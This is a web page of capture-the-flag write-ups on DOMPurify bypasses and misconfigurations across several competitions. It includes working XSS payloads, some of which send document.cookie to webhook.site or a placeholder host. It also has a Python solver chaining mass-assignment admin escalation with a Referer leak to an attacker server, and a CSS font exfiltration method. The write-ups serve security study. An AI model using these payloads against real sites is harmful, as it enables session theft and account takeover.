Skip to content

Categories

Dompurify

https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#beforeSanitizeAttributes-manipulationThe solution for 🌱🌱 is mxss with transferring a style tag in xhtml namespace...

Created

Updated

6 min read

Reading time

1 categories

Topics covered

Share:

Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.

Changing the id standard in beforeSanitizeAttributes addHook can make unitended behaviour, if the id is duplicated it can couse the dompurify didn’t sanitize an attribute

Event NameCyber Jawara 2025
GitHub URLhttps://github.com/sksd-id/CJ2025-public
Challenge Namenot-so-nice-html-viewer
Attachments
References

https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#beforeSanitizeAttributes-manipulation

DOMPurify.addHook("beforeSanitizeAttributes", (node) => {
    if (!(node instanceof Element)) return;

    if (node.id) {
        const id = node.id;
        console.log("id:", id);
        // setAttr.call(node, "id", `${randomHex()}-${id}`);
        node.id = `${randomHex()}-${id}`;
    }

    if (hasAttr.call(node, "class")) {
        const classes = (getAttr.call(node, "class") || "")
            .split(/\s+/)
            .filter(Boolean);
        // if (classes.length) {
        //     const hex = randomHex();
        //     setAttr.call(
        //         node,
        //         "class",
        //         classes.map((cls) => `${hex}-${cls}`).join(" ")
        //     );
        // }
    }
});
solver
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>Document</title>
</head>

<body>
    <script>
        let q = new URLSearchParams(location.search);
        result = `<form id="x" oncontentvisibilityautostatechange=alert(1) style=display:block;content-visibility:auto>`;
        // result = ``;
        for (let x = 0; x <= 0x700; x++) {
            result += `<input form="${x.toString(16).padStart(3, "0")}-x"name="attributes">`;
        }

        base_uri = "gzcli.1pc.tf:2048";
        payload = btoa(JSON.stringify({ "config": { "autoRender": true, "parentTextColor": null, "parentBackgroundColor": null, ["__proto__"]: { "sandbox": ["allow-same-origin allow-scripts allow-modals allow-top-navigation"], "cache_key": "name" } } }))
        setTimeout(() => {
            b = window.open(`http://${base_uri}/#${payload}`, result);
            b.name = result;
        }, 1000);
    </script>
</body>

</html>

Dompurify misconfiguration

Event NameNowruz 2025
GitHub URLhttps://github.com/FlagMotori/Nowruz1404/blob/main/web/mintmint/exp/sol.txt
Challenge Name🌱🌱
Attachments
References

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>🌱</title>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.0/purify.min.js"></script>
</head>
<body>
	<iframe id="xss" style="border: 0;"></iframe>
	<script>
		let p = '🌱'+((new URLSearchParams(location.search)).get('p') ?? '').slice(0,200)
		p = DOMPurify.sanitize(p,{ RETURN_DOM: true }).ownerDocument.documentElement.innerHTML
		xss.src = URL.createObjectURL(new Blob([p], { type: 'text/html;charset=utf-8' }))
	</script>
</body>
</html>

The solution for 🌱🌱 is mxss with transferring a style tag in xhtml namespace to svg namespace + using <![CDATA[ and a comment after body

<script>
let p = encodeURIComponent(`<svg><a><desc><a><table><a></table><style><![CDATA[</style></svg><a id="AA"></body><!-- ]]></svg><img src=1 onerror=eval(top.name)>-->`)

window.open('<http://web/?p='+p,'fetch(`https://webhook.site/xxx?a=`+top.document.cookie)>')
</script>

Basically the bug isn't in dompurify but incorrect usage of dompurify ( that comment is the key to exploit ). I couldn't exploit this "incorrect usage" in the latest version due to hardenings in dompurify so I downgraded it.

Dompurify misconfiguration

Event NameNowruz 2025
GitHub URL-
Challenge Name🌱
Attachments
References

		<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>🌱</title>
	<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.2.3/purify.min.js"></script>
</head>
<body>
	<div id="xss"></div>
	<script>
		let p = ((new URLSearchParams(location.search)).get('p') ?? '')+`🌱` 
		DOMPurify.sanitize(p)
		if(!DOMPurify.removed.length) xss.innerHTML = p
	</script>
</body>
</html>

The <noscript> englobes the <style> and the start of css comment /. I think the DOMPurify escapes any text inside comments (and doesn't remove them) for sanitization, but the <noscript> removes the function of the <style> and the last comment (/) is just plain text

<div id="xss">
  <noscript><style>/*</noscript>
  <img src="" onerror="fetch(`<URL>/${document.cookie}`)">*/🌱
</div>
<noscript><style>/*</noscript><img%20src%20onerror=fetch(`<URL>/${document.cookie}`)>*/

this also works

https://mint-chall.fmc.tf/?p=script%20oncontentvisibilityautostatechange="fetch(`https://webhook.site/05234b35-970d-45cb-aa30-c1c263b303c6?${document.cookie}`)"%20style=display:block;content-visibility:auto

IS attr is unremoveable

X3ctf 2025

https://github.com/cure53/DOMPurify/blob/0d64d2b12f9ecaa28899c60aba0b9ed5072c4d93/src/purify.ts#L862

The first part is <p is> } DOMPurify does not remove the is attribute but sets it to empty value (I don't know exactly why, but something something it cannot remove it)

for csp part: The csp does not cover all sources, so it's possible to fetch fonts from css, but not images.

for css part:

I used fonts with ligatures to shift the input box that has field-sizing: content These were automated with svg -> woff with fontforge. Then i set the form to lower size, so it woud overflow when the ligature was correct (ligatures work by making multiple characters into one glyph) So if you had a long glyph with the field-sizing you could cause a overflow on the form if you gave it a max-width. (You also need to make textarea smaller for that to not overflow)

Then you can do css magic on the form, so when the scrollbar appears it changes font-family to a font we decide (this would be calling back to our backend, with the characters we used with ligatures)

Do binary search using this method.

Sources that explains the method better: CSS scrollbar detection: https://stackoverflow.com/a/79132982 How field-sizing works: https://developer.mozilla.org/en-US/docs/Web/CSS/field-sizing My payload was mostly this but rewritten to work with field-sizing and css scrollbar detection: https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/


For the CSS Injection, I did not notice the missing font-src. Instead, I accidentally found a pretty cool new technique for exfiltrating the result of a selector via an XS-Leak involving crashing the browser, without any external requests from the target site: https://jorianwoltjer.com/blog/p/ctf/x3ctf-blogdog-new-css-injection-xs-leak

Aritcle about Dompurify misconfiguration

Exploring the DOMPurify library: Hunting for Misconfigurations (2/2) | mizu.re


<img src=attacker> + subresource Link: header β€” Referer leak (Slonser image-injection)

Event NameCyber Borneo Capture 2026
Source URLhttp://dompurify.cbd2026.cloud/
Challenge NameDOMPurify (oaknote)
Attachments
  • Manual upload: dompurify.dist.zip
  • References

  • DOMPurify never has to be bypassed. The challenge sanitises a note body with DOMPurify 3.4.2 and then innerHTML's the result. \<img src="http://attacker/expose"\> is in the default allowlist and passes through unchanged β€” that one tag is the entire payload.
  • Entry point: mass-assignment. POST /profile does Object.assign(req.user, req.body). Sending isAdmin=true as a form field promotes any registered user to admin and unlocks POST /notes/new.
  • Decisive primitive (Slonser image-injection 0-day). The admin bot navigates to …/notes/\<id\>?flag=CBC\{…\}. Chrome's default strict-origin-when-cross-origin policy would normally hide that query-string from cross-origin subresources β€” but a Link: response header on the subresource (the attacker image) is honoured by the browser, and referrerpolicy="unsafe-url" overrides the default policy. The browser issues the follow-up prefetch with the full page URL (flag included) as Referer.
  • End-to-end. register β†’ POST /profile isAdmin=true β†’ POST /notes/new {body: <img src=http://attacker/expose>} β†’ GET /visit?url=…note… β†’ attacker returns 8-byte PNG + Link: <…/leak>; rel="prefetch"; referrerpolicy="unsafe-url" β†’ bot prefetches /leak with Referer: …?flag=CBC{…}.
  • Caveat: the attacker URL must be reachable from inside the puppeteer container. With docker compose, use the bridge gateway (docker network inspect <project>_default).
  • why it is vulnerable
    // app.js β€” Object.assign on req.body is straight-up mass-assignment.
    app.post("/profile", requireAuth, (req, res) => {
      Object.assign(req.user, req.body);   // isAdmin=true wins, role escalates
      res.redirect("/profile");
    });
    
    // Admin can post notes; body is rendered with the default DOMPurify config
    // then injected via innerHTML. The exact payload below is sanitiser-clean.
    const sanitized = DOMPurify.sanitize(rawBody);                 // <img src=…> survives
    document.getElementById("rendered-output").innerHTML = sanitized;
    
    // bot.js β€” flag gets appended to the URL the bot visits.
    parsed.searchParams.set("flag", FLAG);                          // location.search now holds CBC{…}
    exploit payload

    Note body submitted by the admin (DOMPurify keeps it verbatim):

    <img src="http://172.0.39.1:7777/expose">

    Attacker server response on /expose β€” this is the actual trick:

    HTTP/1.0 200 OK
    Content-Type: image/png
    Link: <http://172.0.39.1:7777/leak>; rel="prefetch"; referrerpolicy="unsafe-url"
    
    \x89PNG\r\n\x1a\n

    Follow-up GET arrives with:

    Referer: http://localhost:9101/notes/<uuid>?flag=CBC{fb5f0e6bdd6e4af7bc9a6f32c4ed75df}
    solver
    import secrets, threading, time, urllib.parse
    from http.server import BaseHTTPRequestHandler, HTTPServer
    import requests
    
    CHALLENGE = "http://localhost:9101"
    ATTACKER  = "172.0.39.1:7777"   # docker bridge gateway as seen from the bot container
    flag = {"v": None}
    
    class H(BaseHTTPRequestHandler):
        def log_message(self, *a, **k): pass
        def do_GET(self):
            ref = self.headers.get("Referer", "")
            if "flag=" in ref and flag["v"] is None:
                q = urllib.parse.urlparse(ref).query
                flag["v"] = urllib.parse.parse_qs(q).get("flag", [None])[0]
            if self.path.startswith("/expose"):
                body = b"\x89PNG\r\n\x1a\n"
                self.send_response(200)
                self.send_header("Content-Type", "image/png")
                self.send_header("Link",
                    f'<http://{ATTACKER}/leak>; rel="prefetch"; referrerpolicy="unsafe-url"')
                self.send_header("Content-Length", str(len(body)))
                self.end_headers(); self.wfile.write(body); return
            self.send_response(200); self.end_headers(); self.wfile.write(b"ok")
    
    threading.Thread(target=lambda: HTTPServer(("0.0.0.0", 7777), H).serve_forever(), daemon=True).start()
    time.sleep(0.3)
    
    s = requests.Session()
    u = "x" + secrets.token_hex(4)
    s.post(f"{CHALLENGE}/register", data={"username": u, "password": "x"})
    s.post(f"{CHALLENGE}/profile",  data={"isAdmin": "true"})       # mass-assign to admin
    r = s.post(f"{CHALLENGE}/notes/new",
               data={"title": "t", "body": f'<img src="http://{ATTACKER}/expose">'},
               allow_redirects=False)
    note = f"{CHALLENGE}{r.headers['Location']}"
    requests.get(f"{CHALLENGE}/visit", params={"url": note}, timeout=30)
    
    deadline = time.time() + 15
    while time.time() < deadline and flag["v"] is None: time.sleep(0.2)
    print("FLAG:", flag["v"])
    # FLAG: CBC{fb5f0e6bdd6e4af7bc9a6f32c4ed75df}

    Categories & Topics

    This note is categorized under the following topics. Click on any category to explore more related content.

    Share this note

    Share:

    Tip: for Facebook and LinkedIn, use Copy first, then paste when the platform opens.